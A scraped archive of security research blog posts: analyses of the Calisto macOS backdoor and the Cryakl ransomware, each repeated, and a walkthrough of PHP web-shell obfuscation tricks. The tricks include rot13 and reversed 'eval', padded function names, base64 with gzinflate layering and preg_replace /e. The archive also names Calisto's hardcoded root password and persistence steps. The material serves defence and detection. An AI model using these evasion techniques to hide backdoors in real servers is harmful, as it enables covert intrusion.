Category Archives: research

Calisto Trojan for macOS

An interesting aspect of studying a particular piece of malware is tracing its evolution and observing how the creators gradually add new monetization or entrenchment techniques. Also of interest are developmental prototypes that have had limited distribution or not even occurred in the wild. We recently came across one such sample: a macOS backdoor that we named Calisto.

The malware was uploaded to VirusTotal way back in 2016, most likely the same year it was created. But for two whole years, until May 2018, Calisto remained off the radar of antivirus solutions, with the first detections on VT appearing only recently.

Malware for macOS is not that common, and this sample was found to contain some suspiciously familiar features. So we decided to unpick Calisto to see what it is and why its development was stopped (or was it?).

Propagation

We have no reliable information about how the backdoor was distributed. The Calisto installation file is an unsigned DMG image under the guise of Intego’s security solution for Mac. Interestingly, Calisto’s authors chose the ninth version of the program as a cover which is still relevant.

For illustrative purposes, let’s compare the malware file with the version of Mac Internet Security X9 downloaded from the official site.

Backdoor Intego Mac Internet Security 2018
Unsigned Signed by Intego

It looks fairly convincing. The user is unlikely to notice the difference, especially if he has not used the app before.

Installation

As soon as it starts, the application presents us with a sham license agreement. The text differs slightly from the Intego’s one — perhaps the cybercriminals took it from an earlier version of the product.

Next, the “antivirus” asks for the user’s login and password, which is completely normal when installing a program able to make changes to the system on macOS.

But after receiving the credentials, the program hangs slightly before reporting that an error has occurred and advising the user to download a new installation package from the official site of the antivirus developer.

The technique is simple, but effective. The official version of the program will likely be installed with no problems, and the error will soon be forgotten. Meanwhile, in the background, Calisto will be calmly getting on with its mission.

Analysis of the Trojan

With SIP enabled

Calisto’s activity on a computer with SIP (System Integrity Protection) enabled is rather limited. Announced by Apple back in 2015 alongside the release of OSX El Capitan, SIP is designed to protect critical system files from being modified — even by a user with root permissions. Calisto was developed in 2016 or earlier, and it seems that its creators simply didn’t take into account the then-new technology. However, many users still disable SIP for various reasons; we categorically advise against doing so.

Calisto’s activity can be investigated using its child processes log and decompiled code:

Log of commands executed by the Trojan during its operation

Hardcoded commands inside the Calisto sample

We can see that the Trojan uses a hidden directory named .calisto to store:

  • Keychain storage data
  • Data extracted from the user login/password window
  • Information about the network connection
  • Data from Google Chrome: history, bookmarks, cookies

Recall that Keychain stores passwords/tokens saved by the user, including ones saved in Safari. The encryption key for the storage is the user’s password.

Next, if SIP is enabled, an error occurs when the Trojan attempts to modify system files. This violates the operational logic of the Trojan, causing it to stop.

Error message

With SIP disabled/not available

Observing Calisto with SIP disabled is far more interesting. To begin with, Calisto executes the steps from the previous chapter, but as the Trojan is not interrupted by SIP, it then:

  • Copies itself to /System/Library/ folder
  • Sets itself to launch automatically on startup
  • Unmounts and uninstalls its DMG image
  • Adds itself to Accessibility
  • Harvests additional information about the system
  • Enables remote access to the system
  • Forwards the harvested data to a C&C server

Let’s take a closer look at the malware’s implementation mechanisms.

Adding itself to startup is a classic technique for macOS, and is done by creating a .plist file in the /Library/LaunchAgents/ folder with a link to the malware:


The DMG image is unmounted and uninstalled via the following command:

To extend its capabilities, Calisto adds itself to Accessibility by directly modifying the TCC.db file, which is bad practice and an indicator of malicious activity for the antivirus. On the other hand, this method does not require user interaction.

An important feature of Calisto is getting remote access to the user system. To provide this, it:

  • Enables remote login
  • Enables screen sharing
  • Configures remote login permissions for the user
  • Allows remote login to all
  • Enables a hidden “root” account in macOS and sets the password specified in the Trojan code

The commands used for this are:

Note that although the user “root” exists in macOS, it is disabled by default. Interestingly, after a reboot, Calisto again requests user data, but this time waits for the input of the actual root password, which it previously changed itself (root: aGNOStIC7890!!!). This is one indication of the Trojan’s rawness.

At the end, Calisto attempts to transfer all data from the .calisto folder to the cybercriminals’ server. But at the time of our research, the server was no longer responding to requests and seemed to be disabled:



Attempt to contact the C&C server

Extra functions

Static analysis of Calisto revealed unfinished and unused additional functionality:

  • Loading/unloading of kernel extensions for handling USB devices
  • Data theft from user directories
  • Self-destruction together with the OS

Loading/unloading of kernel extensions

Working with user directories

Self-destruction together with the entire system

Connections with Backdoor.OSX.Proton

Conceptually, the Calisto backdoor resembles a member of the Backdoor.OSX.Proton family:

  • The distribution method is similar: it masquerades as a well-known antivirus (a Backdoor.OSX.Proton was previously distributed under the guise of a Symantec antivirus product)
  • The Trojan sample contains the line “com.proton.calisto.plist”
  • Like Backdoor.OSX.Proton, this Trojan is able to steal a great amount of personal data from the user system, including the contents of Keychain

Recall that all known members of the Proton malware family were distributed and discovered in 2017. The Calisto Trojan we detected was created no later than 2016. Assuming that this Trojan was written by the same authors, it could well be one of the very first versions of Backdoor.OSX.Proton or even a prototype. The latter hypothesis is supported by the large number of unused and not fully implemented functions. However, they were missing from later versions of Proton.

To protect against Calisto, Proton, and their analogues:

  • Always update to the current version of the OS
  • Never disable SIP
  • Run only signed software downloaded from trusted sources, such as the App Store
  • Use antivirus software

MD5

DMG image: d7ac1b8113c94567be4a26d214964119
Mach-O executable: 2f38b201f6b368d587323a1bec516e5d

Securelist – Kaspersky Lab’s cyberthreat research and reports: Calisto Trojan for macOS

An interesting aspect of studying a particular piece of malware is tracing its evolution and observing how the creators gradually add new monetization or entrenchment techniques. Also of interest are developmental prototypes that have had limited distribution or not even occurred in the wild. We recently came across one such sample: a macOS backdoor that we named Calisto.

The malware was uploaded to VirusTotal way back in 2016, most likely the same year it was created. But for two whole years, until May 2018, Calisto remained off the radar of antivirus solutions, with the first detections on VT appearing only recently.

Malware for macOS is not that common, and this sample was found to contain some suspiciously familiar features. So we decided to unpick Calisto to see what it is and why its development was stopped (or was it?).

Propagation

We have no reliable information about how the backdoor was distributed. The Calisto installation file is an unsigned DMG image under the guise of Intego’s security solution for Mac. Interestingly, Calisto’s authors chose the ninth version of the program as a cover which is still relevant.

For illustrative purposes, let’s compare the malware file with the version of Mac Internet Security X9 downloaded from the official site.

Backdoor Intego Mac Internet Security 2018
Unsigned Signed by Intego

It looks fairly convincing. The user is unlikely to notice the difference, especially if he has not used the app before.

Installation

As soon as it starts, the application presents us with a sham license agreement. The text differs slightly from the Intego’s one — perhaps the cybercriminals took it from an earlier version of the product.

Next, the “antivirus” asks for the user’s login and password, which is completely normal when installing a program able to make changes to the system on macOS.

But after receiving the credentials, the program hangs slightly before reporting that an error has occurred and advising the user to download a new installation package from the official site of the antivirus developer.

The technique is simple, but effective. The official version of the program will likely be installed with no problems, and the error will soon be forgotten. Meanwhile, in the background, Calisto will be calmly getting on with its mission.

Analysis of the Trojan

With SIP enabled

Calisto’s activity on a computer with SIP (System Integrity Protection) enabled is rather limited. Announced by Apple back in 2015 alongside the release of OSX El Capitan, SIP is designed to protect critical system files from being modified — even by a user with root permissions. Calisto was developed in 2016 or earlier, and it seems that its creators simply didn’t take into account the then-new technology. However, many users still disable SIP for various reasons; we categorically advise against doing so.

Calisto’s activity can be investigated using its child processes log and decompiled code:

Log of commands executed by the Trojan during its operation

Hardcoded commands inside the Calisto sample

We can see that the Trojan uses a hidden directory named .calisto to store:

  • Keychain storage data
  • Data extracted from the user login/password window
  • Information about the network connection
  • Data from Google Chrome: history, bookmarks, cookies

Recall that Keychain stores passwords/tokens saved by the user, including ones saved in Safari. The encryption key for the storage is the user’s password.

Next, if SIP is enabled, an error occurs when the Trojan attempts to modify system files. This violates the operational logic of the Trojan, causing it to stop.

Error message

With SIP disabled/not available

Observing Calisto with SIP disabled is far more interesting. To begin with, Calisto executes the steps from the previous chapter, but as the Trojan is not interrupted by SIP, it then:

  • Copies itself to /System/Library/ folder
  • Sets itself to launch automatically on startup
  • Unmounts and uninstalls its DMG image
  • Adds itself to Accessibility
  • Harvests additional information about the system
  • Enables remote access to the system
  • Forwards the harvested data to a C&C server

Let’s take a closer look at the malware’s implementation mechanisms.

Adding itself to startup is a classic technique for macOS, and is done by creating a .plist file in the /Library/LaunchAgents/ folder with a link to the malware:


The DMG image is unmounted and uninstalled via the following command:

To extend its capabilities, Calisto adds itself to Accessibility by directly modifying the TCC.db file, which is bad practice and an indicator of malicious activity for the antivirus. On the other hand, this method does not require user interaction.

An important feature of Calisto is getting remote access to the user system. To provide this, it:

  • Enables remote login
  • Enables screen sharing
  • Configures remote login permissions for the user
  • Allows remote login to all
  • Enables a hidden “root” account in macOS and sets the password specified in the Trojan code

The commands used for this are:

Note that although the user “root” exists in macOS, it is disabled by default. Interestingly, after a reboot, Calisto again requests user data, but this time waits for the input of the actual root password, which it previously changed itself (root: aGNOStIC7890!!!). This is one indication of the Trojan’s rawness.

At the end, Calisto attempts to transfer all data from the .calisto folder to the cybercriminals’ server. But at the time of our research, the server was no longer responding to requests and seemed to be disabled:



Attempt to contact the C&C server

Extra functions

Static analysis of Calisto revealed unfinished and unused additional functionality:

  • Loading/unloading of kernel extensions for handling USB devices
  • Data theft from user directories
  • Self-destruction together with the OS

Loading/unloading of kernel extensions

Working with user directories

Self-destruction together with the entire system

Connections with Backdoor.OSX.Proton

Conceptually, the Calisto backdoor resembles a member of the Backdoor.OSX.Proton family:

  • The distribution method is similar: it masquerades as a well-known antivirus (a Backdoor.OSX.Proton was previously distributed under the guise of a Symantec antivirus product)
  • The Trojan sample contains the line “com.proton.calisto.plist”
  • Like Backdoor.OSX.Proton, this Trojan is able to steal a great amount of personal data from the user system, including the contents of Keychain

Recall that all known members of the Proton malware family were distributed and discovered in 2017. The Calisto Trojan we detected was created no later than 2016. Assuming that this Trojan was written by the same authors, it could well be one of the very first versions of Backdoor.OSX.Proton or even a prototype. The latter hypothesis is supported by the large number of unused and not fully implemented functions. However, they were missing from later versions of Proton.

To protect against Calisto, Proton, and their analogues:

  • Always update to the current version of the OS
  • Never disable SIP
  • Run only signed software downloaded from trusted sources, such as the App Store
  • Use antivirus software

MD5

DMG image: d7ac1b8113c94567be4a26d214964119
Mach-O executable: 2f38b201f6b368d587323a1bec516e5d



Securelist - Kaspersky Lab’s cyberthreat research and reports

The Trickster Hackers – Backdoor Obfuscation and Evasion Techniques

A backdoor is a method for bypassing the normal authentication or encryption of a system. Sometimes developers construct backdoors to their own programs for various reasons. For example, to provide easy maintenance, developers introduce a backdoor that enables them to restore the manufacturer’s default password.

On the other side, very often attackers inject backdoors into vulnerable servers to take over the server, execute attacks and upload malicious payloads. A backdoor paves the way for hackers to launch further attacks. For example, attackers may inject backdoors that allow them to execute code on the infected server, or upload files. This code and files will contain the actual attack, which may contain different kinds of payloads like stealing data from an internal database or run cryptomining malware.

In this blog, we’ll discuss some of the attackers’ methods to inject backdoors while evading detection. We’ll show examples of real backdoors found in our data, and how they use different evasion and obfuscation techniques, some of them quite complex.

Types of Backdoors

There are several kinds of backdoors, written in different programming languages. For example, a backdoor written in PHP is designed to work on servers running on PHP, contrary to backdoors written in ASP that are designed to run on .net servers.

The purpose of the backdoor may vary, from a web shell which allows the attacker to run operating system commands on the infected machine to specially crafted backdoors which allow the attacker to upload and execute files.

There are many open source backdoors publicly available on sites like GitHub. Hackers can choose to inject a known backdoor, but then they risk being easily detected. More sophisticated hackers create their own backdoors or obfuscate the known backdoor they inject using different evasion techniques.

Common Security Controls

Security controls may try to block backdoors using a couple of different methods. One of them is to block the initial injection of the backdoor during an HTTP request, which is usually injected to a server using a known vulnerability. Another method is to analyze the content of the backdoor during the HTTP response, to find whether it contains code that is considered malicious.

This should come as no surprise, as attackers work hard to hide their real intentions when injecting these backdoors. Hackers usually make use of several evasion techniques, including obfuscating known functions and parameter names and using the encoding of the malicious code. In the next sections, we’ll show backdoors written in PHP where attackers used different techniques in order to avoid detection by security controls.

PHP evasion techniques

There are many methods that can be used in order for attackers to evade detection. The overall motivation, however, is to mask known functions or PHP keywords. Some of the known functions and keywords include:

Character reordering

In this example, the visual output of this page is the well-known “404 Not Found” message (line 2), which may suggest an error. However, there is an embedded backdoor code (lines 3-13) in this page. The keyword “_POST” is written in plain site; however, the attacker used a simple method to hide it:

Figure 1: Backdoor hiding the “_POST” keyword

In line 1, the backdoor code turns off all error reporting to avoid detection in case of an error. In line 3, the “default” parameter is defined as what seems to be like a random combination of characters. In line 4, the “about” parameter is defined when the code reorders these characters and turns them to upper case to build the keyword “_POST”.  This keyword is used in lines 5-12 to check if the HTTP request to this page was done via the POST method and whether it contained the “lequ” parameter.

If so, the backdoor uses the “eval” function to run the code that was sent in the parameter “lequ”. Thus, the backdoor reads the value from a parameter in a post request without ever using the keyword “$_POST”.

String concatenation

Another popular method used by attackers to obfuscate known keywords, is string concatenation, as in the following example:

Figure 2: Backdoor using string concatenation to hide known functions

Contrary to the previous backdoor, where known functions were written into backdoor itself without obfuscation, the only visible command in this code snippet is the “chr” function (line 1). This function takes a number between 0 and 255 and returns the correlated ascii character.

Adding a dot at the end of a character or a string is the PHP way to concatenate it to the next string. Using this functionality, attackers can concatenate several characters or strings to create a keyword that represents a known function, thus hiding it from detection.

Finally, this function is executed with the “@” sign at the beginning, that surpasses the printing of error notices. The purpose of this backdoor is to create a function that evaluates the code that is given in the first parameter of a post request. Using this backdoor, an attacker can trick detection systems and send the arbitrary code to the infected server using POST requests, where the code will be executed.

Deprecated functionality

Although some functions or functionality have been deprecated in previous versions of PHP, we still see attacks trying to abuse this functionality in current backdoors, as in this example:

Figure 3: Backdoor using the deprecated functionality of preg_replace

This one-line code snippet might seem simple, but it actually uses a couple of evasion techniques and can cause a lot of damage as a backdoor. First, the “str_rot13” function takes a string and shifts every letter 13 places in the alphabet. The output of this function on ‘riny’ is the well-known function ‘eval’. Next, the “preg_replace” function takes a regular expression, a replacement string, and subject string. It then searches for every occurrence of the regular expression in the subject and replaces it with the replacement string. The output string in the above example will be:

Meaning, evaluate the expression in the parameter ‘rose’ from the post request.

Notice the ‘/e’ tag inside the ‘preg_replace’. This is a deprecated tag that tells the program to execute output of the ‘preg_replace’ function. The PHP manual states the following warning about this modifier: “Caution Use of this modifier is discouraged, as it can easily introduce security vulnerabilities“. This modifier was deprecated in PHP 5.5.0 and removed as of PHP 7.0.0. So why worry about a deprecated functionality which was removed since the new version of PHP? Look at the following survey taken from W3Techs:

Figure 4: Percentages of websites using various versions of PHP (W3Techs.com, 3 July 2018)

According to this survey, more than 80% of the websites written in PHP use a version in which the deprecated ‘e’ modifier of the ‘preg_replace’ function is used. Thus the vast majority of websites written in PHP are vulnerable to attacks using this deprecated modifier.

As another mean to evade detection, the code will be evaluated with the ‘@’ sign as seen in the previous example, which surpasses error messages.

Multi-Step PHP evasion techniques

There are evasion methods where attackers obfuscated their code using a combination of multiple techniques.

Reverse string, concatenation, compression, and encoding

Figure 5: Backdoor using reverse string, base64 encoding and gzinflate compression to hide the code

In this example, the attacker used a combination of methods to hide the code. First, the attacker used the aforementioned “preg_replace” function with the “/e” modifier that evaluates the code. In the second argument, we can see the attack payload being split to several strings and concatenated with the “.” operator. We can also see the attacker used the “strrev” function to reverse the order of the concatenated string “lave”, which turns into “eval”. After concatenation, we get the following payload:

Here, the code isn’t only encoded with base64 encoding, it is also compressed with the “deflate” data format. After decoding and decompression we get the following payload:

Which means evaluate the code that is sent in the “error” parameter, either in GET or POST requests.

String replacement, concatenation, and encoding

Figure 6: Backdoor using string replacement to hide function names, and base64 encoding

In this example, the attackers hid function names inside variables and obfuscated the backdoor itself using base64 encoding. The only visible known keyword is “str_replace”, in line 2, and it is used only once.

Let’s go over the code to see how it works. First, in line 2, the parameter “tsdg” is given the value “str_replace”, by taking the string “bsbtbrb_rbebpblacbe” and removing all the letters ‘b’ using the str_replace function. Here the attacker obfuscated a known PHP function by creating a string that includes the designated function including additional letters.  Then, these letters are removed using the str_replace function.

Next, using this same method, in lines 6 and 7, the parameters “zjzy” is given the value “base64_decode” and the parameter “liiy” is given the value “create_function”. Notice how instead of using the str_replace function directly, the parameter “tsdg” is used in order to evade detection.

Next, there are four other parameters in lines 1, 3, 4, 5 that contain a base64 encoded text. In line 8, the values of these four parameters are concatenated in a specific order to form a long string encoded in base64. The parameter “iuwt” in line 8 will contain the following line of code:

This code will create a function that removes all the “hd” from the base64 encoded text and then decode it. In line 9, this function is executed and the base64 encoded text is decoded to:

Figure 7: The decoded base64 text. How the backdoor really look like

This is the backdoor itself. This backdoor will execute code sent to the compromised server through the cookie. In line 6, the value sent through the cookie is changed using the preg_replace function and two regular expressions. The altered text is then base64 decoded and is executed, running an arbitrary code that the attacker sent.

The evasion techniques in this backdoor are more complex than what we saw in the previous section. Here, on top of using parameters instead of PHP functions, the backdoor itself is decoded in base64. Additionally, to avoid a simple base64 decoding mechanism, the base64 text is split into four parts, and the characters “hd” are added at random places to prevent the text from being decoded as is.

The O and 0 Catch

In the next backdoor the evasion techniques are even more sophisticated, requiring more steps to be made in order to find the actual backdoor:

Figure 8: Backdoor using a couple of evasion techniques. All the parameter names are made of O’s and 0’s

Again, the only two visible known functions are “urldecode”, which is used in line 1 to decode a URL, and “eval” which is used in line 7. The decoded URL is just gibberish but used in later steps for character concatenation as seen in previous evasion methods.

All the parameter names are made of a combination of zeroes and capital O’s. Since these two characters are visually similar, it makes it extremely hard to read and understand the code. Each such parameter is assigned with a string using character concatenation from the previously decoded URL. The parameter values are:

Line 3‘strtr’

Line 4‘substr’

Line 5‘52’

Line 2+6 – concatenated together to form ‘base64_decode

Finally, in line 7, a long text encoded in base64 is being decoded and then executed using the previously defined ‘base64_decode’ parameter. The decoded text is:

Figure 9: The base64 decoded text. The code is still unreadable as there are parameters made of O’s and 0’s

This is not the backdoor itself but just another step of evasion. Here, the previously defined parameters of the O’s and 0’s are being used once more.

Line 1 contains another long text encoded in base64, but this time the decoding is more complex and cannot just be decoded as is. Replacing the parameters in line 2 with their values gives the following line of code:

Figure 10: The same code as before, replacing the parameters with their values

Where the remaining O’s and 0’s parameter is the encoded base64 text from line 1. This command takes the portion of the encoded text with the offset of 104, it then creates a map to the first 52 characters from the second 52 characters of the encoded text and replaces them character to character using the strtr function. Then, the manipulated text is being base64 decoded and executed using the eval function. It is impossible to decode the text without using the above-mentioned map. Finally, the text is decoded to the actual backdoor:

Figure 11: The backdoor itself after base64 decoding. The real intentions of the attacker are revealed

Now the attacker’s real intentions are revealed. The purpose of this backdoor is to create a new HTML form containing an “input” tag which enables the attacker to upload a file. Then, the attacker can upload a file of his choice and the backdoor moves it to a directory specified by the attacker inside the compromised server. The backdoor also indicated whether the file was move successfully to the desired folder by printing an appropriate message.

Summary of evasion techniques

As seen in the examples above, attackers are doing their best to hide their malicious code and evade detection. Some of the techniques we saw in our data that attackers are using are:

  • Hiding known PHP function using string manipulations (replacement, concatenation, reverse, shift and split)
  • Using obscure parameter names, like random characters or combinations of the characters O and 0 which are visually similar
  • Encoding the backdoor, or part of its code with base64 encoding
  • Using compression as a mean to hide the backdoor code
  • Obfuscating base64 encoded text by manipulating the text in order to avoid simple decoding
  • Obfuscating requests sent to the backdoor after it was uploaded by using the “preg_replace” function on the input

Suggestions for Mitigation

There are a couple of infection points where a backdoor attack can be mitigated.

First, at the upload point of the backdoor. This is the best spot to stop the backdoor as it happens before it is even uploaded to the compromised server. Usually, the upload of a backdoor is done using a known vulnerability, most of the times by exploiting a or an unauthorized file upload. Organizations using servers vulnerable to RCE vulnerabilities are advised to use the latest vendor patch. An alternative to manual patching is virtual patching. Virtual patching actively protects web applications from attacks, reducing the window of exposure and decreasing the cost of emergency patches and fix cycles.

Second, while uploading the backdoor, the uploaded code itself can be checked for malicious content. Checking the code can be complicated as attackers obfuscate their code so it could not be understood, and usually, there is not much clear code when looking at the code as is. Using static security rules and signatures may result in limited success. Instead, Other dynamic rules include profiling the normal behavior of the application and alerting any deviations from the profiled behavior.

Third, if the backdoor was already uploaded on an infected server, it is possible to block the communication between the attacker and the backdoor. This method stops the backdoor from working and alerts the server admin, so the backdoor can be removed.

Learn more about how to protect your web applications from vulnerabilities with Imperva WAF solutions, and about Imperva Incapsula backdoor shell protection.

 

The return of Fantomas, or how we deciphered Cryakl

In early February this year, Belgian police seized the C&C servers of the infamous Cryakl cryptor. Soon afterwards, they handed over the private keys to our experts, who used them to update the free RakhniDecryptor tool for recovering files encrypted by the malware. The ransomware, which for years had raged across Russia (and elsewhere through partners), was finally stopped.

For Kaspersky Lab, this victory was the culmination of more than three years of monitoring Cryakl and studying its various modifications — a major effort that eventually defeated the cybercriminals. This story clearly illustrates how cooperation can, in the end, get the better of any crooked scheme.

This spring marked the fourth anniversary of the malware’s first attacks. Against the backdrop of a general decline in ransomware activity (see our report), we decided to return to the topic of Cryakl and tell in detail about how one of the most eye-catching members of this endangered species evolved.

Propagation methods

We first encountered Cryakl (without knowing what it was exactly) in the spring of 2014. The malware had just begun to spread actively, mainly through spam mailings. Initially, attachments with the malware were found in emails allegedly from the Supreme Arbitration Court of the Russian Federation in connection with various offenses. But it wasn’t long before messages started arriving from other organizations too, in particular homeowner associations.

A typical malicious email contained an attachment of one of the following types:

  • Office document with a malicious macro
  • JS script loading a Trojan
  • PDF document with a link to an executable

It was around this time that the malware acquired its nickname: after encrypting files on the user’s hard drive, one of the Cryakl variants (Trojan-Ransom.Win32.Cryakl.bo) changed the desktop wallpaper to a picture of Fantomas, the villain from the 1964 French film of the same name.

Later, in 2016, we discovered an interesting modification of the ransomware with a rather cunning mode of distribution. Today, an attack using specialized third-party software would raise few eyebrows, but it was not par for the course in 2016, when Fantomas was distributed as a script for a popular Russian accounting program and a business process management tool. The approach was indeed sneaky: employees were sent a message with a request to “update the bank classifier,” whereupon they opened the attached executable file.

Neither was the attack vector surprising, since Cryakl mainly targeted users in Russia and most of the ransom demands were written in Russian. However, further research showed that the cybercriminals who distributed Fantomas did not limit themselves to the Russian market.

In 2016, we observed the growing complexity and variety of ransomware cryptors, including the emergence of ready-made solutions such as Ransomware-as-a-Service (RaaS) for those lacking skills, resources, or time to create their own. Such services were circulated through an expanding and increasingly influential underground ecosystem.

This was the business model chosen by Cryakl’s creators: “partners” were invited to purchase the build of the malware to attack users in other regions, allowing its authors to monetize the product for a second time.

Statistics

In expanding its infrastructure, Cryakl also widened its attack geography. From the first infection until today, more than 50,000 people in Russia—plus thousands more in Japan, Italy, and Germany — suffered at the evil hands of Fantomas.

Geographic distribution of users attacked by Cryakl

Data on Cryakl activity over the years shows that the first signs of life appeared in 2014.

Number of unique users on whose computers Cryakl was detected, 2014-2018

At around the time when the RaaS distribution model was deployed, Fantomas was on the rampage, increasing its attacks more than sixfold.

Distinguishing features

Despite the number and variety of modifications, the use of “partners,” and its long history, the malware cannot be said to have undergone any significant changes — the differences between the various versions was slight. This makes it possible to identify the main features of Fantomas.

Cryakl is written in Delphi, but very amateurishly. This immediately jumped out when we took a look at one of the first versions. The file operations were extremely ineffective, and the encryption algorithm was elementary and not secure. We even thought we were dealing with a test build (especially since the internal version was designated 0.0.0.0). The overall impression was that Cryakl’s authors were not the most experienced virus writers. Recall that it all started with mailings about military conscription.

The first detected version of the malware did not change the names of the encrypted files, but placed a text structure at the end of each file with the MD5 of the header, the MD5 of the file itself, its original size, offsets, and the sizes of a few encrypted snippets. It ended with the tag {CRYPTENDBLACKDC}, required to distinguish encrypted files from unencrypted ones.

Through continued observations over the following months, we regularly discovered ever newer versions of Cryakl: 1.0.0.0, 2.x.0.0, 3.x.0.0, …, 8.0.0.0. Different versions increasingly modified the encryption algorithm as well as the file naming scheme (extensions started to appear of the type: id-{….08.2014 16@02@275587800}-email-mserbinov@aol.com-ver-4.0.0.0.cbf). The text structure at the end of the file changed multiple times, and new encryption and decryption data as well as various service information were added to it.

After that, we found the Cryakl version CL 0.0.0.0 (not to be confused with 0.0.0.0), which had notable changes from previous modifications: besides encrypting parts of the file with a “homebrew” symmetric algorithm, for unknown reasons the Trojan now encrypted other parts with the RSA algorithm. Another marked change was the sending of key data used in the encryption to the attackers’ C&C servers. The structure at the end of the encrypted file was framed with new tags ({ENCRYPTSTART}, {ENCRYPTENDED}), required to determine the encrypted files.

Image from one of the Cryakl CL 0.0.1.0 modifications

In version CL 1.0.0.0, the Trojan stopped sending keys via the Internet. Instead, data required for decryption was now encrypted with RSA and placed in the structure at the end of the file.

Nothing changed fundamentally in the subsequent versions CL 1.1.0.0 – CL 1.2.0.0, only the size of the RSA keys increased. This enhanced the overall level of encryption, but did not change the situation radically.

Image from one of the Cryakl CL 1.2.0.0 modifications

Starting with version CL 1.3.0.0, the Trojan (again for unknown reasons) stopped encrypting file regions with RSA. The algorithm was used only to encrypt keys, while file contents were processed by the slightly modified “homebrew” symmetric algorithm.

Image from one of the Cryakl CL 1.2.0.0 modifications

In all versions of the malware, the cybercriminals left various email addresses for communication purposes. These addresses are contained in the names of encrypted files (for example, email-eugene_danilov@yahoo.com.ver-CL 1.3.1.0.id-….randomname-FFIMEFJCNGATTMVPFKEXCVPICLUDXG.JGZ.lfl) and in the image set by the Trojan as the desktop wallpaper. Victims received reply emails containing a ransom sum in Bitcoin and a cryptocurrency wallet address to make the payment.

On receiving the funds, the cybercriminals sent the victim a decryptor tool and a key file.

The terms of payment varied: for example, the above-mentioned Trojan-Ransom.Win32.Cryakl.bo set a deadline of 48 hours. Moreover, the cybercriminals did not immediately say how much they wanted in return for their “help,” specifying the cost of the decryptor only in their reply emails. It’s not ruled out that the sum depended on the number and quality of encrypted files. For example, in one case of infection, the cybercriminals demanded $1000. Before doing so, according to victims, they connected to the infected computer and deleted all backup copies on it.

Fantomas is slain

The problem with Cryakl was that its newest versions employed asymmetric RSA encryption. The malware body contained public keys used to encrypt user data. Without knowledge of the corresponding private keys, we could not develop a decryption tool. The keys seized and handed over by the Belgian police enabled us to decipher several versions of the ransomware.

Fragment of the private RSA keys

The keys made it possible to reengineer the RakhniDecryptor tool to decrypt files encrypted with the following versions of Cryakl:

Trojan version Cybercriminals’ email
CL 1.0.0.0 cryptolocker@aol.com
iizomer@aol.com
seven_Legion2@aol.com
oduvansh@aol.com
ivanivanov34@aol.com
trojanencoder@aol.com
load180@aol.com
moshiax@aol.com
vpupkin3@aol.com
watnik91@aol.com
CL 1.0.0.0.u cryptolocker@aol.com_graf1
cryptolocker@aol.com_mod
byaki_buki@aol.com_mod2
CL 1.2.0.0 oduvansh@aol.com
cryptolocker@aol.com
CL 1.3.0.0 cryptolocker@aol.com
CL 1.3.1.0 byaki_buki@aol.com
byaki_buki@aol.com_grafdrkula@gmail.com
vpupkin3@aol.com

Securelist – Kaspersky Lab’s cyberthreat research and reports: The return of Fantomas, or how we deciphered Cryakl

In early February this year, Belgian police seized the C&C servers of the infamous Cryakl cryptor. Soon afterwards, they handed over the private keys to our experts, who used them to update the free RakhniDecryptor tool for recovering files encrypted by the malware. The ransomware, which for years had raged across Russia (and elsewhere through partners), was finally stopped.

For Kaspersky Lab, this victory was the culmination of more than three years of monitoring Cryakl and studying its various modifications — a major effort that eventually defeated the cybercriminals. This story clearly illustrates how cooperation can, in the end, get the better of any crooked scheme.

This spring marked the fourth anniversary of the malware’s first attacks. Against the backdrop of a general decline in ransomware activity (see our report), we decided to return to the topic of Cryakl and tell in detail about how one of the most eye-catching members of this endangered species evolved.

Propagation methods

We first encountered Cryakl (without knowing what it was exactly) in the spring of 2014. The malware had just begun to spread actively, mainly through spam mailings. Initially, attachments with the malware were found in emails allegedly from the Supreme Arbitration Court of the Russian Federation in connection with various offenses. But it wasn’t long before messages started arriving from other organizations too, in particular homeowner associations.

A typical malicious email contained an attachment of one of the following types:

  • Office document with a malicious macro
  • JS script loading a Trojan
  • PDF document with a link to an executable

It was around this time that the malware acquired its nickname: after encrypting files on the user’s hard drive, one of the Cryakl variants (Trojan-Ransom.Win32.Cryakl.bo) changed the desktop wallpaper to a picture of Fantomas, the villain from the 1964 French film of the same name.

Later, in 2016, we discovered an interesting modification of the ransomware with a rather cunning mode of distribution. Today, an attack using specialized third-party software would raise few eyebrows, but it was not par for the course in 2016, when Fantomas was distributed as a script for a popular Russian accounting program and a business process management tool. The approach was indeed sneaky: employees were sent a message with a request to “update the bank classifier,” whereupon they opened the attached executable file.

Neither was the attack vector surprising, since Cryakl mainly targeted users in Russia and most of the ransom demands were written in Russian. However, further research showed that the cybercriminals who distributed Fantomas did not limit themselves to the Russian market.

In 2016, we observed the growing complexity and variety of ransomware cryptors, including the emergence of ready-made solutions such as Ransomware-as-a-Service (RaaS) for those lacking skills, resources, or time to create their own. Such services were circulated through an expanding and increasingly influential underground ecosystem.

This was the business model chosen by Cryakl’s creators: “partners” were invited to purchase the build of the malware to attack users in other regions, allowing its authors to monetize the product for a second time.

Statistics

In expanding its infrastructure, Cryakl also widened its attack geography. From the first infection until today, more than 50,000 people in Russia—plus thousands more in Japan, Italy, and Germany — suffered at the evil hands of Fantomas.

Geographic distribution of users attacked by Cryakl

Data on Cryakl activity over the years shows that the first signs of life appeared in 2014.

Number of unique users on whose computers Cryakl was detected, 2014-2018

At around the time when the RaaS distribution model was deployed, Fantomas was on the rampage, increasing its attacks more than sixfold.

Distinguishing features

Despite the number and variety of modifications, the use of “partners,” and its long history, the malware cannot be said to have undergone any significant changes — the differences between the various versions was slight. This makes it possible to identify the main features of Fantomas.

Cryakl is written in Delphi, but very amateurishly. This immediately jumped out when we took a look at one of the first versions. The file operations were extremely ineffective, and the encryption algorithm was elementary and not secure. We even thought we were dealing with a test build (especially since the internal version was designated 0.0.0.0). The overall impression was that Cryakl’s authors were not the most experienced virus writers. Recall that it all started with mailings about military conscription.

The first detected version of the malware did not change the names of the encrypted files, but placed a text structure at the end of each file with the MD5 of the header, the MD5 of the file itself, its original size, offsets, and the sizes of a few encrypted snippets. It ended with the tag {CRYPTENDBLACKDC}, required to distinguish encrypted files from unencrypted ones.

Through continued observations over the following months, we regularly discovered ever newer versions of Cryakl: 1.0.0.0, 2.x.0.0, 3.x.0.0, …, 8.0.0.0. Different versions increasingly modified the encryption algorithm as well as the file naming scheme (extensions started to appear of the type: id-{….08.2014 16@02@275587800}-email-mserbinov@aol.com-ver-4.0.0.0.cbf). The text structure at the end of the file changed multiple times, and new encryption and decryption data as well as various service information were added to it.

